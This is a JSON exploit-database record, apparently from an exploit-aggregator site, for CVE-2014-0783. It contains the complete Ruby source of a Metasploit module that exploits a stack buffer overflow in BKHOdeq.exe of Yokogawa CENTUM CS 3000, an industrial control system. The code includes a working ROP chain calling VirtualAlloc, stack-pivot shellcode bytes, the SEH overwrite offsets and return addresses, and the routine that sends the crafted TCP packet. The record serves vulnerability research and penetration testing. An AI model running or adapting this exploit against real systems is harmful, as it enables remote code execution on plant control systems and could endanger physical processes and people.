{"exploit":{"id":"EDB-32209","name":"Yokogawa CENTUM CS 3000 - 'BKHOdeq.exe' Remote Buffer Overflow (Metasploit)","description":"Yokogawa CENTUM CS 3000 - 'BKHOdeq.exe' Remote Buffer Overflow (Metasploit)","cves":["CVE-2014-0783"],"author":"Metasploit","published":"2014-03-12","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/32209","path":"exploits/windows/remote/32209.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-32209.rb","vulnerabilities":[{"id":"CVE-2014-0783","state":"PUBLISHED","title":"Yokogawa CENTUM CS 3000 Stack-based Buffer Overflow","titleSource":"CVE Program","description":"Stack-based buffer overflow in BKHOdeq.exe in Yokogawa CENTUM CS 3000 R3.09.50 and earlier allows remote attackers to execute arbitrary code via a crafted TCP packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0783","cvss":{"version":"2.0","baseScore":9,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:C","source":"icscert","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0783"},"updatedAt":"2025-09-25T17:24:25.563Z","retrievedAt":"2026-11-27T08:10:25.180Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-32209.png?v=2","url":"https://exploitbin.com/exploits/EDB-32209","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-32209/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-32209/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http//metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = AverageRanking\n\n  include Msf::Exploit::Remote::Tcp\n  include Msf::Exploit::Seh\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',\n      'Description'    => %q{\n        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability\n        exists in the service BKHOdeq.exe when handling specially crafted packets. This module has\n        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows\n        2003 SP2.\n      },\n      'Author'         =>\n        [\n          'juan vazquez',\n          'Redsadic <julian.vilas[at]gmail.com>'\n        ],\n      'References'     =>\n        [\n          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],\n          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]\n        ],\n      'Payload'        =>\n        {\n          'Space'       => 6000,\n          'DisableNops' => true,\n          'BadChars'    => \":\\r\\n\"\n        },\n      'Platform'       => 'win',\n      'Targets'        =>\n        [\n          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',\n            {\n              'Ret'    => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN\n              'Offset' => 8660,\n              'StackPivotAdjustment' => 108\n            }\n          ]\n        ],\n      'DefaultOptions' =>\n        {\n          'EXITFUNC' => 'thread',\n          'WfsDelay' => 10\n        },\n      'DisclosureDate' => 'Mar 10 2014',\n      'DefaultTarget'  => 0))\n\n    register_options(\n      [\n        # Required for EIP offset\n        Opt::RPORT(20171)\n      ], self.class)\n  end\n\n  def check\n    # It forces an huge allocation, which should fail,\n    # and return back an error answer from the server\n    # while parsing the packet header.\n    pkt = build_pkt(0xffffffff)\n    res = send_pkt(pkt)\n    if valid_response?(res)\n      return Exploit::CheckCode::Detected\n    end\n\n    Exploit::CheckCode::Safe\n  end\n\n  def exploit\n    my_payload = payload.encoded\n    rop_chain = create_rop_chain\n\n    data = rand_text(target['StackPivotAdjustment'])\n    data << rop_chain\n    data << stack_adjust\n    data << my_payload\n    data << rand_text(target['Offset'] - data.length)\n    data << generate_seh_record(target.ret)\n\n    pkt = build_pkt(data.length, data)\n\n    print_status(\"Trying target #{target.name}, sending #{pkt.length} bytes...\")\n    connect\n    sock.put(pkt)\n    disconnect\n  end\n\n  def build_pkt(data_length, data = \"\")\n    header = rand_text(4)             # iMark\n    header << [data_length].pack(\"N\") # Data length\n    header << rand_text(4)            # NumSet\n    header << rand_text(2)            # req\n    header << rand_text(2)            # Unknown\n\n    pkt = header + data\n\n    pkt\n  end\n\n  def send_pkt(data)\n    connect\n    sock.put(data)\n    res = sock.get_once\n    disconnect\n\n    res\n  end\n\n  def valid_response?(data)\n    return false unless data\n    return false unless data.length == 4\n    return false unless result_code(data) == 0\n\n    true\n  end\n\n  def result_code(data)\n    data.unpack(\"N\").first\n  end\n\n  def stack_adjust\n    adjust = \"\\x64\\xa1\\x18\\x00\\x00\\x00\"  # mov eax, fs:[0x18 # get teb\n    adjust << \"\\x83\\xC0\\x08\"             # add eax, byte 8 # get pointer to stacklimit\n    adjust << \"\\x8b\\x20\"                 # mov esp, [eax] # put esp at stacklimit\n    adjust << \"\\x81\\xC4\\x30\\xF8\\xFF\\xFF\" # add esp, -2000 # plus a little offset\n\n    adjust\n  end\n\n  def create_rop_chain\n    # rop chain generated with mona.py - www.corelan.be\n    rop_gadgets =\n      [\n        0x63b27a60,  # RET # padding on XP SP3\n        0x63b27a60,  # RET # padding on XP SP3\n        0x63b27a5f,  # POP EAX # RETN [libbkhMsg.dll]\n        0x61e761e0,  # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]\n        0x61e641e4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]\n        0x00405522,  # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]\n      ].flatten.pack(\"V*\")\n    rop_gadgets << rand_text(1752) # Padding because of the \"ADD ESP,6D8\" instr\n    rop_gadgets << [\n        0x61e62aa4,  # POP EBP # RETN [LibBKCCommon.dll]\n        0x61e648c0,  # & push esp # ret  [LibBKCCommon.dll]\n        0x66f3243f,  # POP EBX # RETN [libBKBEqrp.dll]\n        0x00000001,  # 0x00000001-> ebx\n        0x61e729dd,  # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]\n        0x00001000,  # 0x00001000-> edx\n        0x63a93f6f,  # POP ECX # RETN [libbkhopx.dll]\n        0x00000040,  # 0x00000040-> ecx\n        0x63ad1f6a,  # POP EDI # RETN [libbkhOdeq.dll]\n        0x63dd3812,  # RETN (ROP NOP) [libbkhCsSrch.dll]\n        0x61e60b4c,  # POP EAX # RETN [LibBKCCommon.dll]\n        0x90909090,  # nop\n        0x63ae5cc3,  # PUSHAD # RETN [libbkhOdbh.dll]\n      ].flatten.pack(\"V*\")\n\n    rop_gadgets\n  end\n\nend","sha256":"53b91a467a6c5977639b488bb6af69c765d1151a868b3a622ddf4d1df27e05fd","bytes":5144,"fetchedAt":"2026-11-27T08:10:25.064Z","encoding":"utf-8 (display only; download retains original bytes)"}